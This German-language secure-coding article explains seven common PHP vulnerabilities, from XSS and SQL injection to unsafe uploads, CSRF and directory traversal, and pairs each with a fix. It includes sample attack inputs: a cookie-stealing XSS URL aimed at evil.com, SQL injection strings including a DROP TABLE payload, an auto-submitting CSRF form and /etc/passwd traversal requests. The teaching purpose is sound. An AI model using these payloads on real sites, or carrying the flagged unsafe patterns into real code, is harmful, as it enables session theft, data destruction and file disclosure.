PHP gehört zu den meistverbreiteten Sprachen im Web, und entsprechend groß ist die Angriffsfläche bei fehlerhafter Implementierung. Viele Sicherheitslücken entstehen nicht durch komplexe Schwachstellen, sondern durch einfache, verbreitete Codemuster, die auf den ersten Blick harmlos wirken. Dieser Artikel beleuchtet sieben klassische Sicherheitsfallen und zeigt jeweils die sichere Alternative.
1. XSS über $_SERVER['REQUEST_URI'] in Formularen
Das Problem
Ein weit verbreitetes Muster in älterem PHP-Code ist das direkte Ausgeben der aktuellen URL als Formular-Action:
<!-- Unsicher -->
<form method="post" action="<?php echo $_SERVER['REQUEST_URI']; ?>">
Diese Zeile sieht harmlos aus, öffnet jedoch eine klassische Cross-Site-Scripting (XSS)-Lücke. Ein Angreifer kann die URL so manipulieren, dass darin JavaScript eingebettet wird:
https://example.com/kontakt?"><script>document.location='https://evil.com/?c='+document.cookie</script>
Da $_SERVER['REQUEST_URI'] die gesamte URL-Zeichenkette ungefiltert zurückgibt, landet das Script direkt im HTML-Quelltext und wird vom Browser ausgeführt. Cookies, Session-Daten oder andere sensible Informationen können so an Dritte übertragen werden.
Die sichere Lösung
Der Wert muss immer mit htmlspecialchars() kodiert werden:
<!-- Sicher -->
<form method="post" action="<?php echo htmlspecialchars($_SERVER['REQUEST_URI'], ENT_QUOTES, 'UTF-8'); ?>">
Noch besser ist es, die Action-URL explizit anzugeben statt dynamisch aus der aktuellen URL zu lesen:
<!-- Empfohlen -->
<form method="post" action="/kontakt">
Grundregel: Jede Ausgabe von Benutzerdaten oder externen Eingaben in HTML muss HTML-kodiert werden.
2. SQL Injection durch String-Konkatenation
Das Problem
Die direkte Einbettung von Benutzereingaben in SQL-Abfragen ist eine der ältesten und gefährlichsten Schwachstellen:
// Unsicher
$username = $_POST['username'];
$result = mysql_query("SELECT * FROM users WHERE username = '" . $username . "'");
Ein Angreifer gibt als Benutzername ein: ' OR '1'='1
Die resultierende Abfrage lautet:
SELECT * FROM users WHERE username = '' OR '1'='1'
Diese gibt alle Datensätze zurück. Mit destruktiveren Eingaben wie '; DROP TABLE users; -- kann die Datenbank beschädigt werden.
Die sichere Lösung
Prepared Statements mit PDO oder MySQLi sind die einzig korrekte Lösung:
// Sicher mit PDO
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = :username");
$stmt->execute(['username' => $_POST['username']]);
$result = $stmt->fetch();
// Sicher mit MySQLi
$stmt = $mysqli->prepare("SELECT * FROM users WHERE username = ?");
$stmt->bind_param("s", $_POST['username']);
$stmt->execute();
Prepared Statements trennen SQL-Code und Daten vollständig. Benutzereingaben werden niemals als Teil des SQL-Codes interpretiert.
3. Unsichere Datei-Uploads
Das Problem
Datei-Upload-Funktionen ohne ausreichende Validierung ermöglichen es Angreifern, ausführbare Dateien auf den Server zu laden:
// Unsicher
move_uploaded_file(
$_FILES['upload']['tmp_name'],
'uploads/' . $_FILES['upload']['name']
);
Probleme dabei:
- Der Dateiname kommt unverändert vom Client und kann
../../../etc/passwdodershell.phplauten - Der MIME-Typ aus
$_FILES['upload']['type']wird vom Client gesendet und ist fälschbar - Eine hochgeladene PHP-Datei kann direkt ausgeführt werden, wenn das Upload-Verzeichnis unter dem Webroot liegt
Die sichere Lösung
// Sicher
$allowedExtensions = ['jpg', 'jpeg', 'png', 'gif', 'pdf'];
$allowedMimeTypes = ['image/jpeg', 'image/png', 'image/gif', 'application/pdf'];
$originalName = $_FILES['upload']['name'];
$extension = strtolower(pathinfo($originalName, PATHINFO_EXTENSION));
// Erweiterung prüfen
if (!in_array($extension, $allowedExtensions, true)) {
throw new RuntimeException('Dateityp nicht erlaubt.');
}
// MIME-Typ serverseitig prüfen (nicht vom Client übernehmen)
$finfo = new finfo(FILEINFO_MIME_TYPE);
$mimeType = $finfo->file($_FILES['upload']['tmp_name']);
if (!in_array($mimeType, $allowedMimeTypes, true)) {
throw new RuntimeException('Ungültiger MIME-Typ.');
}
// Zufälligen, sicheren Dateinamen generieren
$safeName = bin2hex(random_bytes(16)) . '.' . $extension;
// Upload-Verzeichnis außerhalb des Webroots oder mit .htaccess-Schutz
move_uploaded_file($_FILES['upload']['tmp_name'], '/var/uploads/' . $safeName);
Das Upload-Verzeichnis sollte außerhalb des Webroots liegen oder per .htaccess so konfiguriert sein, dass PHP-Ausführung deaktiviert ist.
4. Session Fixation und Session Hijacking
Das Problem
Session Fixation tritt auf, wenn eine Session-ID vor der Authentifizierung nicht erneuert wird:
// Unsicher: Session-ID bleibt nach Login gleich
session_start();
if (login_valid($_POST['user'], $_POST['pass'])) {
$_SESSION['user'] = $_POST['user'];
}
Ein Angreifer kann eine bekannte Session-ID in die URL einschleusen. Sobald sich ein Opfer authentifiziert, ist die Session unter der bekannten ID gültig, und der Angreifer übernimmt die Sitzung.
Session Hijacking hingegen nutzt eine gestohlene Session-ID, etwa durch XSS oder unsicheres Netzwerk.
Die sichere Lösung
// Sicher: Session-ID nach Login erneuern
session_start();
if (login_valid($_POST['user'], $_POST['pass'])) {
// Neue Session-ID generieren und alte löschen
session_regenerate_id(true);
$_SESSION['user'] = $_POST['user'];
}
Zusätzliche Maßnahmen:
// Session-Cookie nur über HTTPS und nicht per JavaScript erreichbar
session_set_cookie_params([
'lifetime' => 0,
'path' => '/',
'secure' => true, // nur HTTPS
'httponly' => true, // kein JavaScript-Zugriff
'samesite' => 'Lax', // CSRF-Schutz
]);
session_start();
5. Unsichere Passwort-Speicherung
Das Problem
MD5 und SHA1 gelten seit Jahren als unsicher für die Passwort-Speicherung:
// Unsicher
$hash = md5($_POST['password']);
$hash = sha1($_POST['password']);
Beide Algorithmen sind schnell berechenbar. Mit modernen Grafikkarten sind Milliarden von Hashes pro Sekunde möglich, womit Rainbow-Table-Angriffe und Brute-Force-Attacken in kurzer Zeit zum Ziel führen.
Die sichere Lösung
PHP stellt seit Version 5.5 die Funktion password_hash() bereit, die automatisch einen starken Algorithmus und ein zufälliges Salt verwendet:
// Sicher: Passwort hashen
$hash = password_hash($_POST['password'], PASSWORD_BCRYPT);
// Oder noch stärker:
$hash = password_hash($_POST['password'], PASSWORD_ARGON2ID);
// Passwort prüfen
if (password_verify($_POST['password'], $storedHash)) {
// Login erfolgreich
}
password_verify() ist timing-sicher implementiert und verhindert Timing-Angriffe. Der gespeicherte Hash enthält automatisch Algorithmus, Cost-Factor und Salt, sodass eine spätere Migration auf stärkere Algorithmen ohne Datenverlust möglich ist.
6. CSRF ohne Token-Schutz
Das Problem
Cross-Site Request Forgery (CSRF) nutzt aus, dass Browser bei jeder Anfrage automatisch Cookies mitsenden:
// Unsicher: Aktion ohne CSRF-Schutz
if ($_POST['action'] === 'delete_account') {
delete_account($_SESSION['user_id']);
}
Eine fremde Website kann ein verstecktes Formular enthalten:
<form action="https://example.com/account" method="post">
<input type="hidden" name="action" value="delete_account">
</form>
<script>document.forms[0].submit();</script>
Besucht ein eingeloggter Nutzer diese Seite, wird die Aktion mit seinen Credentials ausgeführt.
Die sichere Lösung
Jedes zustandsverändernde Formular benötigt ein CSRF-Token:
// Token generieren und in Session speichern
function generate_csrf_token(): string {
if (empty($_SESSION['csrf_token'])) {
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}
return $_SESSION['csrf_token'];
}
// Token prüfen
function validate_csrf_token(string $token): bool {
return isset($_SESSION['csrf_token'])
&& hash_equals($_SESSION['csrf_token'], $token);
}
// Im Formular
echo '<input type="hidden" name="csrf_token" value="'
. htmlspecialchars(generate_csrf_token(), ENT_QUOTES, 'UTF-8') . '">';
// Bei Verarbeitung
if (!validate_csrf_token($_POST['csrf_token'] ?? '')) {
http_response_code(403);
exit('Ungültiges CSRF-Token.');
}
hash_equals() verhindert Timing-Angriffe beim Token-Vergleich.
7. Directory Traversal bei include/require
Das Problem
Wird ein Dateiname direkt aus Benutzereingaben in include oder require übernommen, kann ein Angreifer beliebige Dateien des Systems lesen:
// Unsicher
$page = $_GET['page'];
include('templates/' . $page . '.php');
Eine Anfrage mit ?page=../../../../etc/passwd%00 (Null-Byte-Injection in älteren PHP-Versionen) oder ?page=../../../../var/log/apache2/access kann Systemdateien offenlegen. Mit einer hochgeladenen PHP-Datei kann über diesen Weg sogar Code ausgeführt werden.
Die sichere Lösung
Benutzereingaben dürfen niemals direkt in Dateipfade einfließen. Stattdessen sollte eine Whitelist erlaubter Werte genutzt werden:
// Sicher: Whitelist erlaubter Seiten
$allowedPages = ['home', 'about', 'contact', 'blog'];
$page = $_GET['page'] ?? 'home';
if (!in_array($page, $allowedPages, true)) {
$page = 'home';
}
include('templates/' . $page . '.php');
Alternativ kann realpath() genutzt werden, um sicherzustellen, dass der resultierende Pfad innerhalb des erlaubten Verzeichnisses liegt:
$basePath = realpath(__DIR__ . '/templates');
$filePath = realpath($basePath . '/' . $page . '.php');
if ($filePath === false || !str_starts_with($filePath, $basePath)) {
http_response_code(400);
exit('Ungültige Seite.');
}
include($filePath);
Zusammenfassung
| Sicherheitslücke | Unsicheres Muster | Sichere Alternative |
|---|---|---|
| XSS | echo $_SERVER['REQUEST_URI'] |
htmlspecialchars() |
| SQL Injection | String-Konkatenation in Queries | Prepared Statements (PDO/MySQLi) |
| Datei-Upload | Unkontrollierter Upload | Whitelist + serverseitiger MIME-Check + zufälliger Dateiname |
| Session Fixation | Session-ID bleibt nach Login | session_regenerate_id(true) |
| Passwort-Hashing | MD5 / SHA1 | password_hash() mit bcrypt oder Argon2id |
| CSRF | Formular ohne Token | CSRF-Token mit hash_equals() |
| Directory Traversal | include mit GET-Parameter |
Whitelist oder realpath()-Prüfung |
Sicherheit entsteht durch konsequentes Anwenden bewährter Muster, nicht durch nachträgliches Absichern. Wer diese sieben Grundregeln von Anfang an berücksichtigt, vermeidet den Großteil der in PHP-Projekten häufig auftretenden Schwachstellen.
Kommentare
Kommentare werden von Remark42 bereitgestellt. Beim Laden werden Daten an unseren Kommentar-Server übertragen.